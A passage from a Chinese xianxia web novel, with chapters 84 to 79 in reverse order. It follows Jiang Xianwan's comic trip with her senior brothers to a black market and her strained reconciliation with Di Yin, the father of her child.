在江献晚无语的目光中,尴尬一咳,扯回正题,“这还不算,你猜后来怎么着?” 王大宝激动地看着她,一脸‘你快问我’的样子。 江献晚:“……怎么着?” 他立时满足了,忽而正色,并默默夹紧双腿,像是回想起什么可怕的事情,打了个冷颤。 “他还摔断了一条腿……中间那条!” 江献晚:“……”那还,挺惨的。 “是的!就是这么地干脆!一个出溜滑,两腿大敞,撞在了柱子上!” “听说那个什么都碎了!哭的可响了。” “其他人更别说,倒霉的那叫一个花样百出防不胜防,我听着都觉得那小娘们邪的很,听说有几个人跟踪他们出了黑市想看看她是什么来路,都跟丢了。” “第二天黑市就贴出了悬赏告示,只要能提出有用的线索。” “是那个什么碎的雄霸天带头,跟其他几个倒霉蛋一起发出的。” 江献晚手肘抵着圈椅,一下没一下抚弄着指尖,“王大宝。” “啊?”突然被喊了大名的王大宝有些呆,“怎么突然认真了?” “多少钱?” 王大宝:“什么多少钱?” “悬赏。” “一百万灵石,怎么了?” 江献晚勾唇笑了笑,“你说他们一行四人?” “对啊。”王大宝一点头,旋即脑瓜子一激灵,“你该不会知道是谁吧?” 江献晚一把捞过他的衣领子,“你最近有没有听说过太虚宗发生的事?” 王大宝一愣,当即倾过半边身子。 他意识到江献晚要说的话题,肯定与那个神秘的少女有关。 只要说到钱,王大宝大脑转的飞快,两只猥琐的小眼睛都在放光。 “当然!这谁不知道,太虚宗炼丹大比,第一轮,六个亲传弟子竟然同时炼出了废丹!” “听说其他弟子连一个废丹都没炼出来。” 王大宝越说越咋舌,“太虚宗可以说是全面发展,实力凌驾于南境百家宗门之上。” “明长老可是地级丹药师!教出来的弟子怎么可能这么废。” “听说,第二场临时又加了两个亲传弟子,总之我听了不下十个版本,一个字,邪门。” “那是两个字。”江献晚看着他认真纠正。 第 84 章 如花 见她没反应,小紫不满地加大电量。 江献晚:“……”你特么这么长一条,要什么尾巴,戴哪? 小紫:我就要! 江献晚被它电的浑身剧烈地抽搐,见摊主向她投来诡异的目光,连忙道:“我再选一条!” 她拿起一条狗尾巴,“咳……这个也算上。” “好勒!”摊主见多识广,什么小癖好的客人没见过,一副我懂你的眼神,对着江献晚猥琐一笑。 乐呵呵的又送了江献晚一条白色的猫尾巴。 “这个体验感也很不错哟~” 江献晚绷紧嘴角,一脸‘我不懂你在说什么’,火急火燎将两条尾巴往芥子囊一塞。 林玉锦边撸尾巴边走。 不过,他没走几步,觉得很是毛骨悚然,脊背发凉。 低声凑近江献晚,“小师妹,你有没有觉得,他们好像都在看我们?” 江献晚低头瞅了一眼他手里的狼尾巴,默默往左迈开一步,“有没有一种可能。” 林玉锦:“……?” “他们看的是你?” 毕竟,就算再看不到对方的脸,估计也没人好意思在众目睽睽之下,拿着这种增添情趣的玩具,一脸荡漾的又摸又蹭。 林玉锦显然没听出来,抱着尾巴沉思,“没办法,都怪我这张脸,太过红颜祸水,连张牙舞爪的面具都掩盖不了我绝世的容颜,和万中无一的出众气质。” 江献晚:“……”你开心就好。 回头知道,别哇哇哭。 两人来到一处挤满人的街角,踮脚去看墙上又贴了什么新的重金悬赏之类的告示。 一个浑身肌肉发达,高达两米多的粗犷男子,反手攥上林玉锦的后衣领,瓮声瓮气道:“挤你*个蛋,过来看。” 说着,把林玉锦往自个前面一拎。 林玉锦:“……谢谢。” “客气你*个蛋。” 林玉锦:“……” 江献晚正笑的咯咯咯咯咯咯,脖子一紧,两脚悬空。 “笑你*娘个蛋,你跟他一起的吧?” 江献晚:“……” 小紫:……哈哈哈哈哈哈哈! 林玉锦:“啊哈哈哈哈……啊咯咯咯咯咯咯!” 江献晚想了想,艰难地道谢:“……那个,谢谢啊大哥,你还真是个好人。” 大哥两眼一瞪,“跟老子客气个鸡毛。” 林玉锦:“鸡毛,咯咯咯咯咯咯咯咯咯咯咯咯!” 江献晚:“……” 大哥浓眉一竖,“笑鸡毛。” “嘎。”林玉锦笑声戛然而止,活像被掐住脖子的鸡,默默跟江献晚转身看墙。 “七人小队,幻灵小秘境探险,还差六个队友,事后,宝物……九一分?” “比我还不要脸!” “王员外家除祟,你出力,我收钱,不服……你忍着?” “真癫!” 林玉锦眸光一挪,碰了碰江献晚的胳膊,指着那张最大最显眼最高处的告示,“卧槽,一亿极品灵石,真他娘的有钱!” 江献晚抬眼一瞅,眉毛登时一抽,“风回雪?” 林玉锦摸着下巴,啧啧道:“未来妖帝,妖域殿下的头可不是谁都能拿的,话说,他的脑袋可真值钱啊!” 他仿佛看到了一座分外巍峨的灵石大山在对他遥遥招手,勾引他,挑逗他—— “来呀~快来扑在我身上,狠狠的蹂躏我~践踏我~宠爱我~” “小师妹,你说咱们有没有一种可能……” “没有。”江献晚打断他。 谁敢摘风回雪的脑袋,她就摘了谁的脑袋! 小师兄也不行! 江献晚眯眼看着这张告示。 “看你*个蛋,你该不会觉得你能剁了风回雪的头吧?” 那个站在他们背后的热心大哥再次发言,他嗓门极大,惹的一群人都来看江献晚。 江献晚摆摆手,“哪能呢,人家可是未来妖帝,我就是馋这一亿极品灵石。” “俺他娘的也馋!” “说的跟谁不馋,不过,你说风回雪再厉害,也顶不住被暗算吧?” “得了吧你,人家可是妖域殿下,一挥手,妖军就能把你踩成饺子馅,想点靠谱的吧兄弟。” 林玉锦深表赞同,强忍着口水,拽着江献晚去看别的。 “咱俩打擂台去?” 江献晚拒绝,“不去。” 林玉锦搓手,眼里都是对灵石的渴望,“那我可去了啊,待会小师兄给你带烤鸡腿吃。” “嗯,我去买些符纸,符纸快用完了。” 江献晚倒不怕林玉锦吃亏,毕竟,真碰到打不过的,小师兄也很抗揍。 “你他娘的会画符?”那个大哥再次开口。 江献晚目送林玉锦离开,无奈地看着比她大了三个号的男子,踮脚,“我会一点,还有,大哥,你可以叫我如花。” “俺他娘的还似玉呢!” 江献晚:“那咱俩还真是有缘分。” 他大着嗓门嘿嘿一笑,又挠挠头,“我跟你开玩笑呢,我叫大力,你真的是符师?” 符师和丹药师可是吃香的很,五级以上的,十根手指头加十根脚趾头,都能数的过来。 其他看告示的人也不看了,热火朝天的向江献晚投以注目礼。 江献晚无辜地眨眼,“其实我是个剑修。” 大力愣了愣,“那你在这跟我吹!” 江献晚直乐,掏出一张符纸,“不过,符箓也略懂一二。大力大哥请看,这便是我画的流星符。” 升级版的疾风符,快到闪现! “什么意思?” ”提升速度,宛若流星。” 说着,不等他问,扬手晃了晃,“谁想试试,免费!” “我来!”大力首先举手,抓过符纸麻溜往胸膛上一拍。 “等……” 江献晚堪堪伸出尔康手,还没来及阻止,只听砰地一声巨响! 大力……穿墙而过。 “卧槽!卧槽!嗷——!” 留下一连串撕心裂肺的激动声,化作流星消失不见。 众人目瞪口呆。 真快! 三秒都不到吧! 人就这么没了? 小紫戳了一下江献晚。 她当时也是跑的这么快的! 江献晚不理它,笑眯眯又掏出一张,眼底带着狡黠和恶趣味。 “刚才那张流星符的效果大家都看到了吧?这张是清肠排毒养颜符,可以让人快速重回青春!” 放屁符加强版! “真的?确定重回青春?”一个大哥激动地举手发言。 江献晚二话不说,啪叽朝他身上一甩,露出邪恶的微笑,“童叟无欺。” 她话音刚落,忽然连续三声惊天动地的屁声。 抑扬顿挫,节奏感极强。 第 83 章 黑市 四人娴熟的钻进小树林换上黑色外裳,面具一带,包裹的严严实实。 江献晚刚迈出两步,感受到脊背忽然窜上一股酥酥麻麻的电流,还有三个师兄欲言又止,一言难尽的小眼神,反手一扯。 “听故事听上瘾了?我今天没空给你讲故事。” 闻言,紫色劫雷毫不犹豫电了她一下。 江献晚浑身抽搐,灵魂差点出窍。 见状,林玉锦好奇地伸出手指戳了戳紫色劫雷,跟着抽搐。 白子夜也戳了戳。 苏清流缓缓伸出一根手指,一戳。 小紫:……大胆! “别闹。”江献晚两手将那一条紫色劫雷团成毛线,随手一扔,“我们干正事呢,改天再约。” 堂堂劫雷,不想着冲业绩,竟然学他们翘课,有没有点事业心。 那不行! 小紫嗖地飞回来,伸出一截,勒上她的脖子:你们去哪? 江献晚被勒的眼仁一翻,喘了一口气,无语道:“去黑市。” 黑市? 小紫收紧,嗖地把江献晚脖颈缠上三圈:俺也要去! “不行!” 还没等江献晚反对,林玉锦首先举手,“你看你闪的,跟彩带似的,太虚宗的都见过你,你会暴露我们的身份的!” 小紫不乐意的抽他手:我就去! 见它耍无赖,死死缠着江献晚的脖儿不撒,苏清流和白子夜齐齐上手去撕。 他们越撕,小紫缠的越紧,甚至得意洋洋翘起尾巴尖,慢条斯理,又缠了一圈。 就去! 白子夜气笑,“要不要脸,怎么还讹人?” 苏清流攥着它另一头,淡淡道:“放手。” 林玉锦:“它好像没手。” 苏清流白子夜:“……” 江献晚等不及了,憋的脸色涨红,原地直接表演一个去世,“小紫!你给我撒开!” 小紫四十五度角望天:不撒,除非你带我去。 “你勒死我我怎么带你去!” 江献晚无语至极,好不容易刚送走鱼,又来根彩带。 抵不住小紫脸皮厚,死活要跟着,认命的找出一条黑色腰带将它赶面条般卷了几圈,绑在腰上。 林玉锦看的眼睛都直了,“好闪……要是有一条这样的裤衩就好了。” 三人:“……?” 小紫:……? 四人一劫雷,花了两个时辰,在天黑时赶到距离太虚宗最近的黑市。 而夜晚,正是黑市开始狂欢,热闹喧嚣的时间点。 黑市鱼龙混杂,各种货物齐全,最适合兜售或淘买一些见不得光的东西。 所以杀人越货,出钱买命,这些乱七八糟的事情,比比皆是。 也是散修和宗门弟子最喜欢来的地方。 各宗虽明面禁止,录入宗规,却依然挡不住诡计多端的弟子。 反正,面具一戴,黑袍一穿,气息一收,谁还能分得清谁是谁? 四人轻车熟路,七拐八拐进了一条死胡同,径直穿墙而过。 随着波纹晕荡,眼前情景陡然一变,热闹嘈杂的叫卖声瞬间铺天盖地涌入耳畔。 “天山雪莲!一株长在天山上的雪莲,货真价实,只要两块上品灵石!当然,如果是假的,算你倒霉!” “新出炉的魔甲黑蛛!八条大长腿!尸体微凉!” “走过路过千万不要错过!快来挑快来选,全场清仓大甩卖!买不了吃亏,买不了上当!二十!二十!统统二十!” “安长柳州安长柳州,南境千机阁倒闭了!王八蛋王八蛋千机阁主吃喝嫖赌吃喝嫖赌,欠下了欠下了8.9个亿……” 林玉锦张开双臂,大口呼吸黑市的空气,“爽!就是这个小感觉!” 苏清流和白子夜默契地往两侧挪开两步距离,表示,这人我不认识。 老规矩,两个时辰后入口处集合。 江献晚和林玉锦没走几步,又双叒叕被两个站在花楼外,挥动水袖,招揽顾客的少年,吸引了目光。 “新来的?他的尾巴跟真的似的,还是豹纹的,想摸。” 江献晚发表意见,“我喜欢另一个少年的耳朵,兔兔可爱。” 小紫不满地戳了戳江献晚:没品味。 两人有前车之鉴,不敢摸,果断避开朝他们抛媚眼,就要围上来的两个少年,迅速逃离。 林玉锦扯了江献晚,迫不及待,“走!听说那个卖尾巴耳朵的摊位,前些日新上了许多妖珠,一颗只需要十块上品灵石!” “吸收里面的妖力,能维持三日那些妖的特征,比摸他们便宜多了。” 那些因吸收了一丝妖力,暂时拥有妖族特征的少年,摸一摸就要一百块灵石。 还不如买条尾巴,买个妖珠,想怎么摸怎么摸。 之前没忍住,他们四个去摸了一次,谁知道付钱的时候被告知,摸一下一百块! 无良奸商! 天打雷劈! 那一次,需要支付十万块上品灵石的他们,差点把花楼炸成平地。 最后……不想刷碗还债,还是掏了十万灵石……外加破坏房屋的赔偿费三万! 想起来,真真是一把辛酸泪。 两人摁住想摸的手,来到一个摆着各种眼花缭乱,售卖各种尾巴耳朵的摊位上。 林玉锦拿起一条蓬松的红尾巴,爱不释手,“这条狐狸尾巴又滑又蓬,真漂亮,我要这个。” “这个狼尾巴也好看,也要了。” “这个马尾看起来很有力量,太酷辣!” “这双猫耳朵不错,也要了。” “这是什么?鸡冠子?回去试试。” 江献晚看了一眼狐狸尾巴根部固定的绿宝石,露出古怪的神色,“小师兄,你确定?” 他看不出来这尾巴要怎么戴吗? 算了。 单看那双清澈且愚蠢的大眼睛,江献晚决定还是不提醒他了。 “那当然!”林玉锦丝毫没觉得不对,喜滋滋地又挑了两条,“这个给苏老大,这个给白老二,我只要这十二个,这一堆灵珠每种给我来十颗!。” 说罢,手一指江献晚,对摊主大气道:“算她账上!” 江献晚默默无语了一下。 也不知道大师兄和二师兄收到小师兄送的礼物,会做何感想。 可能……会先摁着他暴揍一顿。 然后……一本正经的收下。 江献晚没挑尾巴耳朵,要了一小堆妖珠。 准备付账时,腰间传来一道熟悉的电流,在小紫又着急的戳了戳她的时候,江献晚依旧沉默的站着。 第 82 章 翘课 光是灵脉,就有十条! 更别说那些一架子又一架子的书籍,还有各种乱七八糟,同样安置格外整齐,随手一件便能让人眼红,应有尽有的好东西。 他是打劫了两境三域吗? 看的出,费了老大劲。 江献晚没想到空间芥子中的财产如此庞大,大到她害怕。 她略略感应一下,瞅了一眼还在瑟瑟发抖,不敢喘气的鱼。 鱼难得鱼脑够用,哆嗦着尾巴,无声回道:他攒的。 好像是在江献晚第二次从巫云殿离开,它就被主人揣着去寻灵脉和宝物。 鱼不理解,大为震撼。 就觉得主人特意带它出去时不时郊个游,陪鱼做运动散心,怪好的。 哪知道…… 他是爱上了。 只把鱼当苦力。 除了巫云殿、灵墟,和它这条鱼,他啥都没留。 鱼到底还是跟着他过上了苦日子。 连带着它,在江献晚这里,都受到牵连,害它不能判给江献晚。 江献晚:“……” 她将空间芥子重新塞回帝隐手中,“以后再给。” 她不需要帝隐的弥补。 他该弥补的是江行行。 亲手弥补。 尽管他不知道,尽管这事还乱做一团麻线。 帝隐睫毛轻轻一颤,眼底的泪光也错愕而不可思议的凝住。 心跳简直像一串惊雷,让他止不住战栗。 晚晚没有不要…… 晚晚说…… 以后! 他脑中哄地一声响,瞳孔扩散到极致,眼底光影急转如车轮,云霞蒸蔚,熏熏然如醉酒般。 怔愣不知多久,层层璀璨的涟漪,一点一点在眸中激荡开,呆呆软声道:“我、我都听你的。” 江献晚:“……” 不是。 江献晚有些头疼,自然无法说出,这些都是因为江行行。 而她的沉默,使得北帝尊双眼的光刹那间又烧成两簇跳动的小火焰,雪白的面颊,因心头高涨如潮水般,飞快地晕开一抹胭脂色。 傻傻的垂下蝶翼似的睫毛,开始抖着手……小心而认真的叠手帕。 不知道的还以为,那块帕子,是他的命根子。 云为泽:“……” 江献晚:“……” 北帝尊两只手还有些抖,同那块帕子斗争许久,在两双一言难尽、两眼无语的注视中,终于将帕子叠的整整齐齐。 他将帕子小心揣在最贴近心口的衣料中。 嗓音软的像吹霜花。 “晚晚……” 许久。 “我会乖的。” 又小心翼翼道:“南北大比,我和鱼一起去。” 江献晚:“……” 江献晚未曾再看他一眼,只听得细细的衣料轻响。 她从茶盏中自己的倒影,抬眸远眺,视线穿透那堆积如羊毛的云雾。 不知过去多久,指尖轻轻敲击玉杯的清浅碰撞声,将她扯回。 江献晚转眸的瞬间,尽数掩下思绪。 那种当着云为泽的面,解决家务旧事一般的尴尬,这会儿,有少许不自在。 但,不多。 “那个……您还看不看了?” “什么?” “跟了我的那把剑。” 云为泽漫不经心的轻唔一声,模糊道:“跟就跟了……帝隐不也跟定你了。” 江献晚:“……”这话说的。 敏锐察觉南帝尊情绪有点不对,当即放弃正好问一问他是否了解痕剑来历的念头。 江献晚麻溜起身,“弟子告退。” 云为泽掀眸,定定看她。 后者起身的动作下意识僵硬。 不知怎么回事,江献晚好像接受到了某种信号,一脸茫然的坐了回去。 两人大眼瞪小眼。 云为泽眸光淡淡。 江献晚自我怀疑。 两人,一个憋,一个忍。 江献晚瞪的眼睛干涩,渐渐有种屁股下生出一片钉子的错觉。 “您……说话啊。” 瞪着她做什么? 云为泽垂眸,摆出两个跟他那张花容月貌很不符合的大海碗。 江献晚露出古怪的神情,沉吟片刻,“帝尊,您这么菜,用这么大的碗……合适吗?” 云为泽:“……?” 第一次有人说他南帝尊菜。 云为泽面部线条似乎僵硬了一瞬,又仿佛是错觉。 腮边不易察觉的动了一下,挥袖将碗一收,“用坛。” 江献晚:“……” 碗都喝不过,还用坛? 暗暗感叹。 不愧是能当上帝尊的,这该死的胜负欲。 典型的又菜,又爱玩。 一个时辰后,江献晚傲然向下瞥了一眼喝到趴在桌案上,睫毛蔫蔫半垂着的南帝尊,拎着半坛子酒飘然离去。 小趴菜,还敢跟她用坛? 不自量力。 江献晚飞身踏过重重树梢,落在凤仪台侧院屋顶。 此刻,炽热的阳光洒落整个太虚宗,天空湛蓝,云朵轻盈,远处的瀑布闪耀着鱼鳞般的银光。 江献晚枕着手臂,视线追随着展翅翱翔的仙鹤。 不一会儿,三个少年足尖轻点,轻轻落在她身侧。 林玉锦学她的样子在旁边躺下,“真美。” 苏清流和白子夜悠然随之躺在一侧。 缥缈青衣,青色发带,岁月静好。 阳光透过手指缝隙,明明暗暗,苏清流视线追着飞鸟远去了,“做梦似的。” 江献晚笑了一下,“是啊。” 可不就是做梦似的。 白子夜嘟嘟囔囔,“是啊,谁能想到我们有天会成为剑尊的亲传,南境第一宗的弟子。” 林玉锦侧过身看他们,“别说,还真有点想我们的破山头了。” “没有长老授课,颠锅颠的也快乐,花美人一睁眼就追着我们揍,大师兄夜里练剑轰塌二师兄的茅草屋,二师兄到处布阵法贴符纸搞偷袭,小师妹跟个野猴子似的,谁都祸害,防不胜防,被花美人单独拎出来疼爱。” 林玉锦越说越忧伤,“还是破山头好啊,宗门大,规矩就是多,竟然不许弟子私下卖丹药符箓!” 说来说去,最后一句,才是重点! 白子夜发出嘻的一声惨音。 江献晚跟苏清流一对视,相当默契。 同时道:“走!” “去哪?!”林玉锦精神抖擞地坐起来,“叛出宗门?!” 白子夜捶他脑袋,“笨!去黑市了!” 什么是宗规? 宗规是什么? 大不了再吃一顿竹笋炒肉。 无所谓,他们皮糙肉厚。 四人果断翘了下午的课,偷偷摸摸出了太虚宗。 第 81 章 帝隐完了 从始至终,他全做错。 帝隐蜷在膝头的骨指轻轻颤抖,湿黏的血将衣料浸染一片深色。 眸光摇晃,含着丝丝缕缕说不尽的惊慌,无意识的摇头。 连自己的唇舌都无法控制,泄出颤抖潮湿,干涩而又模糊的痛苦喘息。 竟是吐露不出只言片语。 最后一颗避子丹,确实是他亲手喂给江献晚的。 在她走后,他才陡然回过神,自己这般与禽兽无异的举动,无形中有多伤人。 他早就该说出来的,哪怕知道她不愿,也该同她说说自己的想法。 他从不想她吃什么避子丹。 倘若他们之间有了血脉,他该是好好做个天底下最好的父亲,照顾好江献晚,万事以他们为主,此生不分开。 可他,却亲手喂给了她一颗。 江献晚也走了。 江献晚静眼看着身侧,摇摇欲坠,几乎下一秒就要死掉的北帝尊,眼中依旧没有半分怒意和怨怼。 果然,帝隐干不出这种事。 掰开他一只手,拂去剑身血迹。 “知道了。”她轻声道。 似乎放过自己,放过帝隐,是如此轻松又迅速的一件事。 她除了晾着他,拒绝他,说些掏心窝子的话。 总不能抹了她儿子的亲爹。 若避子丹一事,真的是帝隐脑袋一抽,换了药,不管出自何种心态,她绝不会允许江行行有这么一个父亲存在。 更别说收下灵剑。 相对江献晚不露半分异样的神色,帝隐却并未因她轻飘飘的语气和接过灵剑的举动,松一丝气。 他如何不知,江献晚的反应,仅仅因为对她来说,他只是……无关紧要。 提线木偶般,僵硬的身躯轻轻觳觫,宛如震荡不安,经历灭世绝望,一触即碎的雕塑。 江献晚看的想摇头。 帝隐真的完了。 没救。 她无声叹口气,随手搁在桌案上一块手帕。 不是帝隐,江行行用过的小手帕,给他一块也不是不行。 暂时没打算现在就坦白。 这些天,她足以摸清帝隐的隐形性格。 从前顶着一张清冽的神颜,就像鱼说的,老装了。 遭受一番毒打,回过味,自己跌个稀碎。 若是叫他知道她给他生了一个大儿子,绝对能直接一个肝肠寸断,原地心碎而死。 她不心疼帝隐,毕竟他也算活该,总要给他点毒打,却因江行行犹豫。 但这事儿她说了不算,要看风回雪的态度。 帝隐眼中血雾朦胧,透过雾气,努力想要看清那块绣着两团模糊不知是何字的手帕,本就紊乱的心音,霎时跳的他几乎昏厥。 说不出是什么,只觉得有什么东西随着淡淡的奶香气,密密麻麻,疯狂挤满心脏,让他神魂失据。 有种错过什么,却又抓住什么很重要的东西的绝望,扯的他神魂撕裂。 还未能从方才的痛楚中爬出,又跌入另一种让他几欲摧折的剧痛。 他双手颤抖,勉强以灵力净过手,托起帕子,整个人随着一点一点,坍塌成齑粉。 江献晚抿了抿唇。 眼前浮现与这张脸七分相似的江行行,不由得恍惚一瞬。 可以想象,帝隐会是一个再好不过的父亲,就像……风回雪那般。 她轻轻转开眸子,不欲多说。 该说的,她早已跟他说过。 情字一事,她做不了帝隐的主。 问出自己想要的,很快收敛好心绪,轻轻一弹剑身,“我不会契约你,你自己决定一下,要不要跟着我。” 要! 我要! 我要跟着你! 等等忙不迭发出几声清脆地颤音。 它本来还在嫉妒吃味那个先它一步,同江献晚契约的破烂剑。 这会儿,生怕受到帝隐牵连,头点的跟小鸡啄米似的。 就算晚晚依旧不肯与它契约,它使劲努努力,早晚有一天晚晚会看到它的真心! 哪怕是妾! 它也愿意! 因为没有契约,江献晚只能将它塞入芥子囊。 她诧异于识海中剑灵像是雀跃的小心思,唇角抽了一下。 不难看出,她若二话不说,契约了‘等等’,痕剑定然自怨自艾,睫毛带泪。 做完这些,江献晚扭过头,轻咳一声,赶人,“你还有话吗?没有就可以走了。” 北帝尊这会儿还陷在一种碎了神,碎了心的状态,眼睛犹蒙着红雾和泪意。 捧着帕子的样子,像是捧着全世界。 哽咽的嗓音,使得他只吐出几个甜腻血腥气的气音。 有些听不清晰。 “雾渺,他的弟子。” 江献晚静眼瞧他。 帝隐摇摇欲坠,低下了头。 “我自己。” “你想做什么,我都在的。” 江献晚有自己的想法,不会喜欢旁人随意插手她的事。 他擅自出手,她会不开心,甚至会远离他。 他不敢明目张胆现身,也是怕在不被江献晚允许的情况下,给她带来议论声和麻烦。 这些事全都是他细细琢磨了一遍又一遍。 江献晚不依附任何人,照样可以摆平一切,一步步登上顶峰。 若她累了,他永远都在身后。 他该做的最大的事,就是改正自己,好好弥补,好好修复他们之间的裂缝。 就算她有了旁人,就算等到神魂消散。 他生是江献晚的人,死是江献晚的鬼。 还有,回去之后,他想将万古宗自上而下,肃清一遍,包括自己。 帝隐强吐出几个气音,余下的话,模糊的堵在喉咙间。 他只说简单的三句,江献晚现在就能轻易明白。 意思大约就是。 不管雾渺,还是林轻染,该出手出手,若她累了,摇他上线。 不仅他俩,亦是包括他自己。 任她千刀万剐,或是冷眼相待,亦或者她有旁人,帝隐也要等到海枯石烂,等她原谅。 江献晚管不了他的想法,忍着熟悉的头痛,声线没有一丝起伏,“行,你走吧。” 他再眼红下去,就是铁石心肠的瞎子,都能给他哭心软了。 帝隐无声将唇瓣咬出深深痕迹,摸了一会儿,磕磕碰碰轻轻搁在她手中一个东西。 他与江献晚在一起后,知道雾渺会给她芥子囊,便开始准备的。 结果,他还没准备好,就等到了‘等等’和一封信。 江献晚倒没推辞,主要有些好奇,想看一看,指尖便释放出一缕灵力没入空间芥子。 下一刻,淡淡的神色……忍不住扭曲了一下。 好家伙…… 北帝尊……裤衩应该都不剩了吧? 第 80 章 在这说 他从来没想过说,说出来,更是会让江献晚误会,卑劣的拿这些小手段让她心软一下。 江献晚一言不发。 她不怀疑鱼的话。 只是没料到,这样的一个人,能卑微到这般姿态。 这些话若是帝隐亲口对她说,她确实会立刻掐灭让父子二人相认的微弱心思,不带犹豫。 龙鲤在那嘚吧嘚吧,帝隐无措的坐立不安,指尖抬了又轻轻放下。 味道就变了。 他不在乎自己的颜面,任由龙鲤当着云为泽的面揭他的脸,又怕她误会,不知该不该堵鱼嘴。 到了现在,江献晚哪里还不明白。 “在这说?” “要不回去?” 毕竟,现在将自己低到尘埃的帝隐,避免不了格外难堪。 帝隐咬了一下唇瓣,“在这。” 没什么丢脸。 就算两境三域,所有修士全来了,也是他的错。 江献晚怔了怔,“好。” 在哪说清,都是说。 两人自动将云为泽划作空气。 江献晚目光不由得落在帝隐手中的长剑上。 她和帝隐,心知肚明。 最后这一垒,决定未来。 不过瞬息之间,帝隐便神色惨淡,面颊褪尽血色,银发中隐约透出的颈子低折出脆弱的弧度。 他掀起睫毛,雪瞳烟岚水雾,仿佛暴雨中乱颤的花枝,只能看到江献晚模糊的面容。 再开口,声音便似被刀锋割裂痛楚。 “晚晚,我第一次见……” “我来问。”江献晚忽然打断他。 她不用听,都能猜到帝隐想说什么。 将他们两个的开始,直到现在,从头到尾,将所有令她不适的事全揪出来,乖乖认错。 但她还是没有当着云为泽的面,让帝隐细数自己罪行的邪恶念头。 再者…… 她怕他说到明年。 其实,他就是一个字不说,就这么一坐,江献晚全都信。 她从那张破碎的不忍直视的面庞上移开眸子,静静的盯着面前那杯茶水。 稍稍一想,思绪不由自主,被拉回从前。 实际上,她第一次去巫云殿时,中间帝隐因秽气再如何失控,都会强忍着,抽身披衣出去,笨拙的为她煮上一碗粥。 她如何吃不出,北帝尊哪里有过洗手羹汤。 后来,这个习惯哪怕她辟谷,仍保留着,帝隐煮粥的手艺进步飞速,还能做出几道小菜。 甚至许多时候,哪怕她意识模糊间,很多次听到过那道清冷的嗓音,压低声音轻哄着,一勺一勺的喂她。 后来,她一次一次的晚走,哪怕他全然清醒。 现在想来,帝隐爱而不自知。 留她在巫云殿住下,不是因为她来的晚,恐怕早就动了念头,想让她永远留在身边。 这点,她和帝隐,当时谁都没意识到,代表什么。 北帝尊在风花雪月上就是一张白纸,还没鱼脑子好使。 只看他就算浑身被秽气浸染,在床笫之间一成不变的刻板进攻姿态,就能知道。 说难听点,没经验,欠调教,缺引导。 当然,没人管他。 不过,她大约也算不得好人。 为了活着,没底线,没道德。 再加上雾渺一手促成。 总之,这件事中,谁都不是好人。 江献晚没想过多纠结往事谁对谁错,更不想揪着此事不放,搁在心头,非要去恶心一辈子。 事情已经发生,她早晚会收拾雾渺。 剩下的,该怎么解决就怎么解。 她和帝隐之间阴差阳错有了斩不断的血脉,是不争的事实。 江献晚目不转睛的望进那双水色淋淋,早已冰雪融尽的眼眸,“你我之事,雾渺刚开始是如何与你说的?” 他们第一次时,她认命了,脑中没有想任何什么。 而帝隐,从见到她,就紧紧盯着她的眼睛不说话。 还是她被看的毛骨悚然,往床榻边退了半步。 这个男人痛苦又被陌生欢愉打的无力还手,直蹙眉,除了揭开她面具时,并无任何交谈。 帝隐忽然紧抿了一下唇,脊背慢慢绷紧,宛如被推上断头台,鬓角沁出一层薄薄的细汗。 喉结缓缓攒动,颤声道:“他同我说你愿意。” 雾渺没同他打招呼,直接带江献晚来了巫云殿,或许怕小姑娘不自在,传音与他说的。 他一眼看出江献晚的体质特殊,哪里不懂。 帝隐十指紧蜷着,手心一片粘稠的血腥,绝望而狼狈的阖眸,承认自己的欲望,“皆是我……见色起意。” 他不愿意,别人能摁着他的头。 此错,全然在他。 他犹记得那日雾渺忽然带着江献晚来到巫云殿。 少女径直从雾渺身后,一步步,经过他身侧,步入巫云殿。 他转身进了内室,看到的便是一言不发,褪了衣裙,散了发的少女。 不知怎的,对上那双平静的眼睛,他回过神,已经一步一步,走到少女跟前。 江献晚凝视着面前人想要克制,却又控制不住崩碎的模样,表情不变,格外淡定。 雾渺心眼堪比马蜂窝,立场鲜明,正的只能说是邪过头了。 只一句,江献晚约摸明白,他八成没跟帝隐说真话,美化了两人之间达成的协议。 从雾渺隐约恭敬的反应不难看出,为了帝隐,要他抹脖子,他就敢抹脖子。 逼迫旁人低头,换自个小师叔,依他风格和考究,自然能干这缺德事。 她去时,帝隐颈侧隐约有暗纹蔓延,正是秽气难忍,被欲望蚕食之际。 不过,这个见色起意…… 由帝隐说出来,还真是叫人……下巴脱臼。 她明明戴着人皮面具,帝隐就算看的出,就没想过万一那张面具下的脸更普通,或是丑陋不堪? 这点江献晚还是很震惊的,但帝隐不会说瞎话,要么不开口,开口必然一个标点符号都不会作假。 她也不意外他半点不找借口,不逃避,将此事推给雾渺,推给什么秽气。 北帝尊压根做不出为了给自己开脱,就把锅扣在别人头上的事。 江献晚眸光缓缓动了动,还是想确定一个压在心底已久的问题。 旁敲侧击。 “最后那颗药是你亲手喂给我的。” 她表情和语气皆是一如既往的平静,却不难叫人听出,是在指责他为何如此所行之事龌龊,表里不一。 龙鲤一抖,愈发大气不敢出,闭紧鱼嘴。 ‘等等’更是不敢再嚎一声,跟着鱼一起哆嗦。 帝隐骤然屏住呼吸,细细颤抖的衣袂随之一滞,连面上颓倾而绝望的神情都凝定了。 苍白的面庞惨淡如纸张,一时间说不出话来。 他唇瓣蠕动,几番轻启薄唇,一双清浅的湿眸迅速潮红,几乎蒙上一层血雾。 他从来没想到什么避子丹的事情,更没想过要江献晚服用避子丹。 他们第一次在一起后,雾渺对他说,江献晚不愿留在巫云殿,并要了避子丹。 他才意识到江献晚是迫不得已。 可他们已经有了夫妻之实,他便觉得,不管如何,他们既然走到一起,该是走完此生。 直到江献晚离开,巫云殿再次只剩下他一个人。 他后知后觉回过神。 他把自己玩死了。 不问她愿意来到巫云殿的缘由,默认她不愿留下,和吃避子丹的举动,全成了另一种勉强和欺辱她的错误。 第 79 章 鱼可以证明 又上前微微俯身,将凳子挪开一些,“晚晚,你坐。” 该说不说,帝隐长出恋爱脑,倒叫他那一身清冽气质多出几分烟火气。 江献晚想了想,坐下来。 见帝隐做完这一切,傻乎乎的站着,像是她和南帝尊的侍者一般,无奈指了指身侧。 后者愣了一下,受宠若惊,顶着一脸懵懂的稚子表情,头重脚轻,局促落座。 云为泽微微往后挪动,想为两人腾出空间,可显然帝隐不介意他在。 眼下走不走似乎都不对,只能垂下睫毛,打算将自己当作什么都不懂的木偶人,两耳不闻窗外事。 去摸茶盏的手……没成想摸了个空。 北帝尊轻抵着唇珠,银发如瀑,垂覆在玄衣上,霜姿玉质,含蓄珠光。 